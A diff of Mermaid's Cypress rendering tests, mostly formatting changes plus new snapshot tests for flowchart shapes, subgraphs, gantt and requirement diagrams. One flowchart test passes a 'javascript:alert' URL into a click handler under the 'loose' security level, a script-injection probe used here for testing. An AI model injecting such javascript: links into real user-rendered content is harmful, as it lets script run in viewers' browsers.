@@ -156,7 +153,7 @@ describe('Flowchart v2', () => {
b
end
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
@@ -171,7 +168,7 @@ describe('Flowchart v2', () => {
b
end
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
@@ -192,7 +189,7 @@ describe('Flowchart v2', () => {
B
end
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
@@ -222,7 +219,7 @@ describe('Flowchart v2', () => {
routeur --> subnet1 & subnet2
subnet1 & subnet2 --> nat --> internet
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
@@ -236,7 +233,7 @@ describe('Flowchart v2', () => {
subcontainer-child--> subcontainer-sibling
end
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
@@ -258,11 +255,10 @@ end
sub_one --> sub_two
_one --> b
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('56: handle nested subgraphs with outgoing links 3', () => {
imgSnapshotTest(
`flowchart TB
@@ -275,7 +271,7 @@ _one --> b
end
process_B-->|via_AWSBatch|container_Beta
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('57: handle nested subgraphs with outgoing links 4', () => {
@@ -288,11 +284,10 @@ subgraph B
b
end
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('57: handle nested subgraphs with outgoing links 2', () => {
imgSnapshotTest(
`flowchart TB
@@ -310,7 +305,23 @@ end
three --> two
two --> c2
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('57.x: handle nested subgraphs with outgoing links 5', () => {
imgSnapshotTest(
`%% this does not produce the desired result
flowchart TB
subgraph container_Beta
process_C-->Process_D
end
subgraph container_Alpha
process_A-->process_B
process_B-->|via_AWSBatch|container_Beta
process_A-->|messages|process_C
end
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('58: handle styling with style expressions', () => {
@@ -321,7 +332,7 @@ end
style id1 fill:#f9f,stroke:#333,stroke-width:4px
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('59: handle styling of subgraphs and links', () => {
@@ -343,7 +354,37 @@ flowchart TD
class T TestSub
linkStyle 0,1 color:orange, stroke: orange;
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('60: handle styling for all node shapes - v2', () => {
imgSnapshotTest(
`
flowchart LR
A[red text] -->|default style| B(blue text)
C([red text]) -->|default style| D[[blue text]]
E[(red text)] -->|default style| F((blue text))
G>red text] -->|default style| H{blue text}
I{{red text}} -->|default style| J[/blue text/]
K[\\ red text\\] -->|default style| L[/blue text\\]
M[\\ red text/] -->|default style| N[blue text];
linkStyle default color:Sienna;
style A stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style B stroke:#0000ff,fill:#ccccff,color:#0000ff;
style C stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style D stroke:#0000ff,fill:#ccccff,color:#0000ff;
style E stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style F stroke:#0000ff,fill:#ccccff,color:#0000ff;
style G stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style H stroke:#0000ff,fill:#ccccff,color:#0000ff;
style I stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style J stroke:#0000ff,fill:#ccccff,color:#0000ff;
style K stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style L stroke:#0000ff,fill:#ccccff,color:#0000ff;
style M stroke:#ff0000,fill:#ffcccc,color:#ff0000;
style N stroke:#0000ff,fill:#ccccff,color:#0000ff;
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose', logLevel: 2 }
);
});
it('61: fontawesome icons in edge labels', () => {
@@ -352,9 +393,260 @@ flowchart TD
flowchart TD
C -->|fa:fa-car Car| F[fa:fa-car Car]
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('62: should render styled subgraphs', () => {
imgSnapshotTest(
`
flowchart TB
A
B
subgraph foo[Foo SubGraph]
C
D
end
subgraph bar[Bar SubGraph]
E
F
end
G
A-->B
B-->C
C-->D
B-->D
D-->E
E-->A
E-->F
F-->D
F-->G
B-->G
G-->D
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('63: title on subgraphs should be themable', () => {
imgSnapshotTest(
`
%%{init:{"theme":"base", "themeVariables": {"primaryColor":"#411d4e", "titleColor":"white", "darkMode":true}}}%%
flowchart LR
subgraph A
a --> b
end
subgraph B
i -->f
end
A --> B
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('65: text-color from classes', () => {
imgSnapshotTest(
`
flowchart LR
classDef dark fill:#000,stroke:#000,stroke-width:4px,color:#fff
Lorem --> Ipsum --> Dolor
class Lorem,Dolor dark
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('66: More nested subgraph cases (TB)', () => {
imgSnapshotTest(
`
flowchart TB
subgraph two
b1
end
subgraph three
c2
end
three --> two
two --> c2
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('67: More nested subgraph cases (RL)', () => {
imgSnapshotTest(
`
flowchart RL
subgraph two
b1
end
subgraph three
c2
end
three --> two
two --> c2
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('68: More nested subgraph cases (BT)', () => {
imgSnapshotTest(
`
flowchart BT
subgraph two
b1
end
subgraph three
c2
end
three --> two
two --> c2
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('69: More nested subgraph cases (LR)', () => {
imgSnapshotTest(
`
flowchart LR
subgraph two
b1
end
subgraph three
c2
end
three --> two
two --> c2
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('70: Handle nested subgraph cases (TB) link out and link between subgraphs', () => {
imgSnapshotTest(
`
flowchart TB
subgraph S1
sub1 -->sub2
end
subgraph S2
sub4
end
S1 --> S2
sub1 --> sub4
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('71: Handle nested subgraph cases (RL) link out and link between subgraphs', () => {
imgSnapshotTest(
`
flowchart RL
subgraph S1
sub1 -->sub2
end
subgraph S2
sub4
end
S1 --> S2
sub1 --> sub4
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('72: Handle nested subgraph cases (BT) link out and link between subgraphs', () => {
imgSnapshotTest(
`
flowchart BT
subgraph S1
sub1 -->sub2
end
subgraph S2
sub4
end
S1 --> S2
sub1 --> sub4
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('74: Handle nested subgraph cases (RL) link out and link between subgraphs', () => {
imgSnapshotTest(
`
flowchart RL
subgraph S1
sub1 -->sub2
end
subgraph S2
sub4
end
S1 --> S2
sub1 --> sub4
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('74: Handle labels for multiple edges from and to the same couple of nodes', () => {
imgSnapshotTest(
`
flowchart RL
subgraph one
a1 -- l1 --> a2
a1 -- l2 --> a2
end
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('76: handle unicode encoded character with HTML labels true', () => {
imgSnapshotTest(
`flowchart TB
a{{"Lorem 'ipsum' dolor 'sit' amet, 'consectetur' adipiscing 'elit'."}}
--> b{{"Lorem #quot;ipsum#quot; dolor #quot;sit#quot; amet,#quot;consectetur#quot; adipiscing #quot;elit#quot;."}}
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('2050: handling of different rendering direction in subgraphs', () => {
imgSnapshotTest(
`
flowchart LR
subgraph TOP
direction TB
subgraph B1
direction RL
i1 -->f1
end
subgraph B2
direction BT
i2 -->f2
end
end
A --> TOP --> B
B1 --> B2
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('2388: handling default in the node name', () => {
imgSnapshotTest(
`
flowchart LR
default-index.js --> dot.template.js
index.js --> module-utl.js
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
});

View File

@@ -1,7 +1,6 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util';
describe('Flowchart', () => {
describe('Graph', () => {
it('1: should render a simple flowchart no htmlLabels', () => {
imgSnapshotTest(
`graph TD
@@ -38,7 +37,7 @@ describe('Flowchart', () => {
C -->|Two| E[iPhone]
C -->|Three| F[Car]
`,
{fontFamily: 'courier'}
{ fontFamily: 'courier' }
);
});
@@ -53,7 +52,7 @@ describe('Flowchart', () => {
C -->|Two| E[\\iPhone\\]
C -->|Three| F[Car]
`,
{ fontFamily: 'courier'}
{ fontFamily: 'courier' }
);
});
@@ -69,7 +68,7 @@ describe('Flowchart', () => {
classDef processHead fill:#888888,color:white,font-weight:bold,stroke-width:3px,stroke:#001f3f
class 1A,1B,D,E processHead
`,
{fontFamily: 'courier'}
{ fontFamily: 'courier' }
);
});
@@ -98,7 +97,7 @@ describe('Flowchart', () => {
35(SAM.CommonFA.PopulationFME)-->39(SAM.CommonFA.ChargeDetails)
36(SAM.CommonFA.PremetricCost)-->39(SAM.CommonFA.ChargeDetails)
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -169,7 +168,7 @@ describe('Flowchart', () => {
9a072290_1ec3_e711_8c5a_005056ad0002-->d6072290_1ec3_e711_8c5a_005056ad0002
9a072290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -178,7 +177,7 @@ describe('Flowchart', () => {
`
graph TB;subgraph "number as labels";1;end;
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -190,7 +189,7 @@ describe('Flowchart', () => {
a1-->a2
end
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -202,7 +201,7 @@ describe('Flowchart', () => {
a1-->a2
end
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -234,10 +233,10 @@ describe('Flowchart', () => {
B-->G
G-->D
style foo fill:#F99,stroke-width:2px,stroke:#F0F
style bar fill:#999,stroke-width:10px,stroke:#0F0
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -339,7 +338,7 @@ describe('Flowchart', () => {
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4DA958A0-26D9-4D47-93A7-70F39FD7D51A;
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4FC27B48-A6F9-460A-A675-021F5854FE22;
`,
{ fontFamily: 'courier' }
{ fontFamily: 'courier' }
);
});
@@ -357,7 +356,7 @@ describe('Flowchart', () => {
listUrl: false,
listId: 'color styling',
fontFamily: 'courier',
logLevel: 0
logLevel: 0,
}
);
});
@@ -379,8 +378,9 @@ describe('Flowchart', () => {
`,
{
listUrl: false,
listId: 'color styling', fontFamily: 'courier',
logLevel: 0
listId: 'color styling',
fontFamily: 'courier',
logLevel: 0,
}
);
});
@@ -395,7 +395,7 @@ describe('Flowchart', () => {
C -->|Two| E[iPhone]
C -->|Three| F[fa:fa-car Car]
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -414,7 +414,7 @@ describe('Flowchart', () => {
class A someclass;
class C someclass;
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -431,7 +431,7 @@ describe('Flowchart', () => {
linkStyle 1 stroke:DarkGray,stroke-width:2px
linkStyle 2 stroke:DarkGray,stroke-width:2px
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -440,7 +440,7 @@ describe('Flowchart', () => {
`graph LR
a --> b --> c
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -449,7 +449,7 @@ describe('Flowchart', () => {
`graph LR
a --> b & c--> d
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -459,7 +459,7 @@ describe('Flowchart', () => {
A[ h ] -- hello --> B[" test "]:::exClass & C --> D;
classDef exClass background:#bbb,border:1px solid red;
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -481,7 +481,7 @@ describe('Flowchart', () => {
click B testClick "click test"
classDef someclass fill:#f96;
class A someclass;`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -522,7 +522,7 @@ describe('Flowchart', () => {
linkStyle 1 stroke:greenyellow,stroke-width:2px
style C fill:greenyellow,stroke:green,stroke-width:4px
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -545,7 +545,7 @@ describe('Flowchart', () => {
click F "javascript:alert('test')" "script test"
`,
{ securityLevel: 'loose', fontFamily: 'courier' }
);
);
});
it('26: Set text color of nodes and links according to styles when html labels are enabled', () => {
@@ -584,7 +584,7 @@ describe('Flowchart', () => {
click B "index.html#link-clicked" "link test"
click D testClick "click test"
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -616,7 +616,7 @@ describe('Flowchart', () => {
class A myClass1
class D myClass2
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -640,7 +640,7 @@ describe('Flowchart', () => {
classDef redBg fill:#622;
classDef whiteTxt color: white;
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -652,7 +652,7 @@ describe('Flowchart', () => {
eat --> sleep
work --> eat
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -671,7 +671,7 @@ describe('Flowchart', () => {
class A someclass;
class C someclass;
`,
{ flowchart: { htmlLabels: false } , fontFamily: 'courier'}
{ flowchart: { htmlLabels: false }, fontFamily: 'courier' }
);
});
@@ -694,7 +694,7 @@ describe('Flowchart', () => {
`graph TD
A[Christmas]
`,
{ }
{}
);
});
@@ -712,7 +712,7 @@ describe('Flowchart', () => {
C -----> E4
C ======> E5
`,
{ }
{}
);
});
it('36: should render escaped without html labels', () => {
@@ -720,7 +720,7 @@ describe('Flowchart', () => {
`graph TD
a["<strong>Haiya</strong>"]-->b
`,
{htmlLabels: false, flowchart: {htmlLabels: false}}
{ htmlLabels: false, flowchart: { htmlLabels: false } }
);
});
it('37: should render non-escaped with html labels', () => {
@@ -728,7 +728,7 @@ describe('Flowchart', () => {
`graph TD
a["<strong>Haiya</strong>"]-->b
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('38: should render a flowchart when useMaxWidth is true (default)', () => {
@@ -742,18 +742,17 @@ describe('Flowchart', () => {
`,
{ flowchart: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(446 * .95, 446 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(300 * .95, 300 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(446 * 0.95, 446 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(300 * 0.95, 300 * 1.05);
});
});
it('39: should render a flowchart when useMaxWidth is false', () => {
renderGraph(
@@ -766,15 +765,14 @@ describe('Flowchart', () => {
`,
{ flowchart: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(446 * .95, 446 * 1.05);
expect(width).to.be.within(300 * .95, 300 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(446 * 0.95, 446 * 1.05);
expect(width).to.be.within(300 * 0.95, 300 * 1.05);
expect(svg).to.not.have.attr('style');
});
});
it('58: handle styling with style expressions', () => {
imgSnapshotTest(
@@ -784,7 +782,31 @@ describe('Flowchart', () => {
style id1 fill:#f9f,stroke:#333,stroke-width:4px
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('60: handle styling for all node shapes', () => {
imgSnapshotTest(
`
graph LR
A[red text] -->|default style| B(blue text)
C([red text]) -->|default style| D[[blue text]]
E[(red text)] -->|default style| F((blue text))
G>red text] -->|default style| H{blue text}
I{{red text}} -->|default style| J[/blue text/]
linkStyle default color:Sienna;
style A stroke:#ff0000,fill:#ffcccc,color:#ff0000
style B stroke:#0000ff,fill:#ccccff,color:#0000ff
style C stroke:#ff0000,fill:#ffcccc,color:#ff0000
style D stroke:#0000ff,fill:#ccccff,color:#0000ff
style E stroke:#ff0000,fill:#ffcccc,color:#ff0000
style F stroke:#0000ff,fill:#ccccff,color:#0000ff
style G stroke:#ff0000,fill:#ffcccc,color:#ff0000
style H stroke:#0000ff,fill:#ccccff,color:#0000ff
style I stroke:#ff0000,fill:#ffcccc,color:#ff0000
style J stroke:#0000ff,fill:#ccccff,color:#0000ff
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('61: fontawesome icons in edge labels', () => {
@@ -793,8 +815,80 @@ describe('Flowchart', () => {
graph TD
C -->|fa:fa-car Car| F[fa:fa-car Car]
`,
{htmlLabels: true, flowchart: {htmlLabels: true}, securityLevel: 'loose'}
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('62: fontawesome icons in edge labels', () => {
imgSnapshotTest(
`
graph TB
subgraph bar[Bar]
F
end
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('63: fontawesome icons in edge labels', () => {
imgSnapshotTest(
`
graph TB
A
B
subgraph foo[Foo SubGraph]
C
D
end
subgraph bar[Bar SubGraph]
E
F
end
G
A-->B
B-->C
C-->D
B-->D
D-->E
E-->A
E-->F
F-->D
F-->G
B-->G
G-->D
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('64: fontawesome icons in edge labels', () => {
imgSnapshotTest(
`
%%{init:{"theme":"base", "themeVariables": {"primaryColor":"#411d4e", "titleColor":"white", "darkMode":true}}}%%
flowchart LR
subgraph A
a --> b
end
subgraph B
i -->f
end
A --> B
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
it('65: text-color from classes', () => {
imgSnapshotTest(
`
flowchart LR
classDef dark fill:#000,stroke:#000,stroke-width:4px,color:#fff
Lorem --> Ipsum --> Dolor
class Lorem,Dolor dark
`,
{ htmlLabels: true, flowchart: { htmlLabels: true }, securityLevel: 'loose' }
);
});
});

View File

@@ -1,10 +1,9 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util.js';
describe('Gantt diagram', () => {
beforeEach(()=>{
cy.clock((new Date('1010-10-10')).getTime())
})
beforeEach(() => {
cy.clock(new Date('1010-10-10').getTime());
});
it('should render a gantt chart', () => {
imgSnapshotTest(
`
@@ -199,18 +198,17 @@ describe('Gantt diagram', () => {
`,
{ gantt: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(484 * .95, 484 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(984 * .95, 984 * 1.05);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
// use within because the absolute value can be slightly different depending on the environment ±5%
const height = parseFloat(svg.attr('height'));
expect(height).to.be.within(484 * 0.95, 484 * 1.05);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.be.within(984 * 0.95, 984 * 1.05);
});
});
it('should render a gantt diagram when useMaxWidth is false', () => {
@@ -248,14 +246,49 @@ describe('Gantt diagram', () => {
`,
{ gantt: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(484 * .95, 484 * 1.05);
expect(width).to.be.within(984 * .95, 984 * 1.05);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
// use within because the absolute value can be slightly different depending on the environment ±5%
expect(height).to.be.within(484 * 0.95, 484 * 1.05);
expect(width).to.be.within(984 * 0.95, 984 * 1.05);
expect(svg).to.not.have.attr('style');
});
});
it('should render a gantt diagram with data labels at the top when topAxis is true', () => {
imgSnapshotTest(
`
gantt
dateFormat YYYY-MM-DD
axisFormat %d/%m
title Adding GANTT diagram to mermaid
excludes weekdays 2014-01-10
section A section
Completed task :done, des1, 2014-01-06,2014-01-08
Active task :active, des2, 2014-01-09, 3d
Future task : des3, after des2, 5d
Future task2 : des4, after des3, 5d
section Critical tasks
Completed task in the critical line :crit, done, 2014-01-06,24h
Implement parser and jison :crit, done, after des1, 2d
Create tests for parser :crit, active, 3d
Future task in critical line :crit, 5d
Create tests for renderer :2d
Add to mermaid :1d
section Documentation
Describe gantt syntax :active, a1, after des1, 3d
Add gantt diagram to demo page :after a1 , 20h
Add another diagram to demo page :doc1, after a1 , 48h
section Last section
Describe gantt syntax :after doc1, 3d
Add gantt diagram to demo page : 20h
Add another diagram to demo page : 48h
`,
{ gantt: { topAxis: true } }
);
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util.js';
describe('Sequencediagram', () => {

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest } from '../../helpers/util.js';
describe('Sequencediagram', () => {

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util.js';
describe('User journey diagram', () => {
@@ -32,39 +31,36 @@ section Order from website
it('should render a user journey diagram when useMaxWidth is true (default)', () => {
renderGraph(
`journey
title Adding journey diagram functionality to mermaid
title E-Commerce
section Order from website
Add to cart: 5: Me
section Checkout from website
Add payment details: 5: Me
`,
{ journey: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(20);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.eq(400);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(565);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.eq(700);
});
});
it('should render a user journey diagram when useMaxWidth is false', () => {
renderGraph(
imgSnapshotTest(
`journey
title Adding journey diagram functionality to mermaid
title E-Commerce
section Order from website
Add to cart: 5: Me
section Checkout from website
Add payment details: 5: Me
`,
{ journey: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(20);
expect(width).to.eq(400);
expect(svg).to.not.have.attr('style');
});
});
});

View File

@@ -1,4 +1,3 @@
/* eslint-env jest */
import { imgSnapshotTest, renderGraph } from '../../helpers/util.js';
describe('Pie Chart', () => {
@@ -47,17 +46,16 @@ describe('Pie Chart', () => {
`,
{ pie: { useMaxWidth: true } }
);
cy.get('svg')
.should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(450);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.eq(984);
});
cy.get('svg').should((svg) => {
expect(svg).to.have.attr('width', '100%');
expect(svg).to.have.attr('height');
const height = parseFloat(svg.attr('height'));
expect(height).to.eq(450);
const style = svg.attr('style');
expect(style).to.match(/^max-width: [\d.]+px;$/);
const maxWidthValue = parseFloat(style.match(/[\d.]+/g).join(''));
expect(maxWidthValue).to.eq(984);
});
});
it('should render a pie diagram when useMaxWidth is false', () => {
renderGraph(
@@ -69,13 +67,12 @@ describe('Pie Chart', () => {
`,
{ pie: { useMaxWidth: false } }
);
cy.get('svg')
.should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(450);
expect(width).to.eq(984);
expect(svg).to.not.have.attr('style');
});
cy.get('svg').should((svg) => {
const height = parseFloat(svg.attr('height'));
const width = parseFloat(svg.attr('width'));
expect(height).to.eq(450);
expect(width).to.eq(984);
expect(svg).to.not.have.attr('style');
});
});
});

View File

@@ -0,0 +1,49 @@
import { imgSnapshotTest, renderGraph } from '../../helpers/util.js';
describe('Requirement diagram', () => {
it('sample', () => {
imgSnapshotTest(
`
requirementDiagram
requirement test_req {
id: 1
text: the test text.
risk: high
verifymethod: test
}
functionalRequirement test_req2 {
id: 1.1
text: the second test text.
risk: low
verifymethod: inspection
}
performanceRequirement test_req3 {
id: 1.2
text: the third test text.
risk: medium
verifymethod: demonstration
}
element test_entity {
type: simulation
}
element test_entity2 {
type: word doc
docRef: reqs/test_entity
}
test_entity - satisfies -> test_req2
test_req - traces -> test_req2
test_req - contains -> test_req3
test_req <- copies - test_entity2
`,
{}
);
cy.get('svg');
});
});

View File

@@ -29,7 +29,7 @@ context('Sequence diagram', () => {
Alice -->> John: Parallel message 2
end
`,
{sequence:{actorFontFamily:'courier'}}
{ sequence: { actorFontFamily: 'courier' } }
);
});
it('should handle different line breaks', () => {
